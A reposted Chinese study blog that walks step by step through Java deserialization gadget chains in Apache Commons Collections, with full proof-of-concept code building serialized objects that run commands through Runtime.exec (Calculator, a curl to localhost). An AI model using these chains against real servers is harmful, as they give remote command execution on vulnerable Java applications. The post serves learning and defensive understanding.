转载

Java反序列化学习之Apache Commons Collections

背景

Apache Commons CollectionsApache Commons 的组件,它们是从 Java API 派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections 试图通过提供新的接口,实现和实用程序来构建JDK类。

Apache Commons 包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。

2015年11月6日FoxGlove Security安全团队的 @breenmachine 发布了一篇长博客,阐述了利用Java反序列化和 Apache Commons Collections 这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

InvokerTransformer

Apache Commons Collections 中有一个特殊的接口 Transformer ,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数。

Transformer 接口

public interface Transformer {
    public Object transform(Object input);

}

InvokerTransformer

public class InvokerTransformer implements Transformer, Serializable {
    ......
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
}

可以看到 transform 方法利用Java的反射机制进行任意方法调用。

input 参数是传入的一个实例化对象,反射调用的是其方法。

private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

iMethodName,iParamTypes,iArgs 分别对应方法名,参数类型,参数,都是在实例化 InvokerTransformer 时传入的可控参数。因此利用这个方法我们可以调用任意对象的任意方法。

在Java中不能像php一样直接执行 system() 之类的函数,Java是完全面向对象的一门语言,执行某个操作需要 对象->方法 或者 类->静态方法 这样调用,常用的是 Runtime.getRuntime().exec(cmd) ,因此上面的任意方法调用不能达到命令执行的目的。要多次调用 transform 并且上一次的返回结果作为下一次的输入。

ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable { 
    ......
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
    .......
        public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

commons-collections 中有一个满足上面条件的类: ChainedTransformer ,该类实例化传入一个 Transformer 类型的数组,调用其 transform 方法挨个调用数组中对象的 transform 方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用 transform 方法时的参数是用户传入的。

结合 InvokerTransformer 可以构造出:

Transformer[] transformers = new Transformer[] {
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open -a Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
Java反序列化学习之Apache Commons Collections

可以看到实例化 InvokerTransformer 时传入了对应的参数,返回了一个 _Transformer 数组对象。_

Java反序列化学习之Apache Commons Collections 接着做为实例化参数传入 ChainedTransformer ,赋值给了 this.iTransformers
Java反序列化学习之Apache Commons Collections

然后把 Runtime.getRuntime() 对象做为参数传入 ChainedTransformertransform 方法。然后调用数组中第一个对象的 transform 方法(数组中只传入了一个 InvokerTransformer 对象),把 Runtime.getRuntime() 做为调用参数。

Java反序列化学习之Apache Commons Collections

然后反射调用 Runtime.getRuntime()exec 方法并传入参数 open -a Calculator 执行。

Java反序列化学习之Apache Commons Collections

ConstantTransformer

当我们把上述 transformerChain 对象进行序列化然后反序列化时很明显不会触发命令执行,除非后端代码这样写。

InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
obj = in.readObject();
obj.transform(Runtime.getRuntime());
in.close();

显然不可能有这样的代码,我们的目的是只执行 readObject() 就触发命令执行。

这里用到一个内置类 ConstantTransformertransform 方法会把传入的实例化参数原样返回。

public class ConstantTransformer implements Transformer, Serializable {
    .....
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
}

因此构造

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open -a Calculator"})
};

Transformer transformerChain = new ChainedTransformer(transformers);

但是这里实例化后的对象 Runtime 不允许序列化,所以不能直接传入实例化的对象。所以我们需要在 transforms 中利用 InvokerTransformer 反射回调出 Runtime.getRuntime()

Transformer[] transformers = new Transformer[] {
            //传入Runtime类
            new ConstantTransformer(Runtime.class),
            //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
            new InvokerTransformer("getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }),
            //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
            new InvokerTransformer("invoke",
                    new Class[] {Object.class, Object[].class },
                    new Object[] {null, new Object[0] }),
            //反射调用exec方法
            new InvokerTransformer("exec",
                    new Class[] {String.class },
                    new Object[] {"open -a Calculator"})
    };
Transformer transformerChain = new ChainedTransformer(transformers);

整个调用链是 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
现在反序列化后就可以 obj.transform("随意输入"); 这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。

攻击链(一)

https://xz.aliyun.com/t/4558#toc-0

/org/apache/commons/collections/map/TransformedMap.class

protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

这里只要 valueTransformer 可控就可以利用上面的调用链。

构造函数

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }    

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

可以看到 valueTransformer 是可控的。

触发点

public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

因此可以构造

Transformer[] transformers = new Transformer[] {
                //传入Runtime类
                new ConstantTransformer(Runtime.class),
                //反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
                new InvokerTransformer("getMethod",
                        new Class[] {String.class, Class[].class },
                        new Object[] {"getRuntime", new Class[0] }),
                //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
                new InvokerTransformer("invoke",
                        new Class[] {Object.class, Object[].class },
                        new Object[] {null, new Object[0] }),
                //反射调用exec方法
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"open -a Calculator"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
        transformedmap.put("1", "2");

要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。

如果我们要实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对map执行put的操作。

不过还有一处 checkSetValue 同样调用了 transform

protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
}

在他的父类 AbstractInputCheckedMapDecorator 中有个 MapEntry 静态类,调用了 AbstractInputCheckedMapDecorator.checkSetValue

static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

我们需要找一个 readObject 中对 map 执行 setValue 的地方。

在jdk小于1.7的时候 /reflect/annotation/AnnotationInvocationHandler.class 中, readObject 中有对 map 的修改功能。

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }

调试payload

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

    public static void main(String[] args) throws Exception
    {
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
                new InvokerTransformer("exec",
                        new Class[] {String.class },
                        new Object[] {"curl http://127.0.0.1:10000"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value", "2");

        Map transformedmap = TransformedMap.decorate(map, null, transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);

        Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

        ByteArrayOutputStream exp = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(exp);
        oos.writeObject(ins);
        oos.flush();
        oos.close();

        ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(out);
        Object obj = (Object) ois.readObject();
    }
}

首先把 transformerChain 赋值给了 valueTransformer

Java反序列化学习之Apache Commons Collections

getDeclaredConstructor() 返回有指定参数列表构造函数的构造函数对象,这里获取了 sun.reflect.annotation.AnnotationInvocationHandler 的构造函数对象。最后实例化了 sun.reflect.annotation.AnnotationInvocationHandler

Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);

var1var2 分别对应 java.lang.annotation.Retention 和Map实例 transformedmap

Java反序列化学习之Apache Commons Collections

看其 readObject 方法

Iterator var4 = this.memberValues.entrySet().iterator();this.memberValues 就是Map实例 transformedmap ,首先会去调用其父类的 entrySet 方法,

Java反序列化学习之Apache Commons Collections

valueTransformer 不为空,所以返回true。进入 new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this)

Java反序列化学习之Apache Commons Collections

最终返回一个迭代器。

Java反序列化学习之Apache Commons Collections

Java反序列化学习之Apache Commons Collections

然后这里可以看到 var3 的键名为 value ,因此我们put的 key 必须为 value ,这样var7才不会为 null

Java反序列化学习之Apache Commons Collections

接着判断 var7 是否是 var8 的实例, var8 是不是 ExceptionProxy 的实例。

最后会调用到 setValue ,此时的 _this_.parent 就是 transformedmap
Java反序列化学习之Apache Commons Collections

最终调用transform,触发命令执行。

攻击链(二)

/org/apache/commons/collections/map/LazyMap.java 中的get方法

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

factory 同样可控, key 任意值不会影响结果。

protected LazyMap(Map map, Transformer factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = factory;
    }

现在我们需要想办法触发 get 方法。

/org/apache/commons/collections/keyvalue/TiedMapEntry.class

getValue 调用了 map 实例的 get 方法。

public Object getValue() {
        return map.get(key);
    }

toString 方法会调用 getValue ,java中的 toString 和php一样,都是当对象被当做字符串处理的时候会自动调用这个方法。

public String toString() {
        return getKey() + "=" + getValue();
    }

修改poc

Transformer[] transformers = {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "123456");

序列化 entry 对象,当漏洞反序列化代码如下时触发漏洞:

InputStream iii = request.getInputStream();
ObjectInputStream in = new ObjectInputStream(iii);
System.out.println(in.readObject());
in.close();

这样的话 我们还需要打印这个反序列化对象,我们需要找到一个重写了readObject方法,并且对某个变量进行了字符串操作的类。

/javax/management/BadAttributeValueExpException.java
这里直接调用了 valObj.toString() ,而 Object valObj = gf.get("val", null); ,这里的 val 是私有变量我们可以通过反射私有变量来赋值。从而让 valObj=entry

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

最终会调用 toString

Java反序列化学习之Apache Commons Collections

后记

按照大师傅们文章中的思路跟了一遍,java好难,php真香。

Referer

原文  https://www.smi1e.top/java反序列化学习之apache-commons-collections/
正文到此结束
Loading...